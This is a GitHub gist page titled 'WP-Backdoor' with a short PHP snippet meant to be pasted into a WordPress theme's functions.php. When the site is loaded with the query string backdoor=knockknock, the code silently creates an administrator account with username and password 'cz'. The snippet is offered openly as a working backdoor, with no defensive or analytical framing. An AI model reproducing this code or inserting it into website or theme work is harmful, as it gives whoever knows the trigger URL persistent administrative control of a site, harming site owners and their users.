Skip to content

Instantly share code, notes, and snippets.

@czombos
Last active August 27, 2018 15:11
Show Gist options
  • Save czombos/b2737920300cb5862fa64bb448d6cdd5 to your computer and use it in GitHub Desktop.
Save czombos/b2737920300cb5862fa64bb448d6cdd5 to your computer and use it in GitHub Desktop.
WP-Backdoor
// add this code to theme functions.php and open http://www.example.com/?backdoor=knockknock
add_action('wp_head', 'wploop_backdoor');
function wploop_backdoor() {
If ($_GET['backdoor'] == 'knockknock') {
require('wp-includes/registration.php');
If (!username_exists('cz')) {
$user_id = wp_create_user('cz', 'cz', '[email protected]');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment